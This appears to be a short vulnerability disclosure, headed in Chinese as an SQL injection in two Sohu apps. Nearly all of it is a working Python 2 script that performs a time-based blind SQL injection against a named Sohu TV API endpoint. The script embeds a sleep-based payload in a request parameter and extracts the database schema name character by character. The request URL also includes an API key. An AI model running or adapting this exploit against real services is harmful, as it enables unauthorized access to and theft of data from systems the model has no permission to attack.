搜狐两个APP存在SQL注入

#!/usr/bin/env python
 #-*- coding: utf-8 -*-
 
 
 import time
 import string
 import binascii
 import requests
 
 
 res = ''
 character = "%." + string.digits + "@_" + string.ascii_lowercase
 
 headers = {
  'Accept-Language': 'zh-Hans;q=1, en;q=0.9, fr;q=0.8, de;q=0.7, zh-Hant;q=0.6, ja;q=0.5',
  'Accept-Encoding': 'gzip, deflate',
  'Accept': '*/*'
  }
 
 for i in range(1, 21):
  for p in character:
   start_time = time.time()
   url = "http://s1.api.tv.itc.cn/v6/mobile/channel/list.json?sysver=7.1.1&sver='xor(if((now()=sysdate())and(mid(lower(schema()),{},1)='{}'),sleep(4),1))xor'&plat=3&channel_list_type=3&build=5.5.0.2&partner=1&api_key=695fe827ffeb7d74260a813025970bd5&poid=1".format(i, p)
   req = requests.get(url, headers=headers)
   print req.url + ' --- ',
   print time.time() - start_time
   if time.time() - start_time > 4:
    res += p
    print "/n[Result]: " + res + "/n"
    break
 
 print "/n/n[Finish]: " + res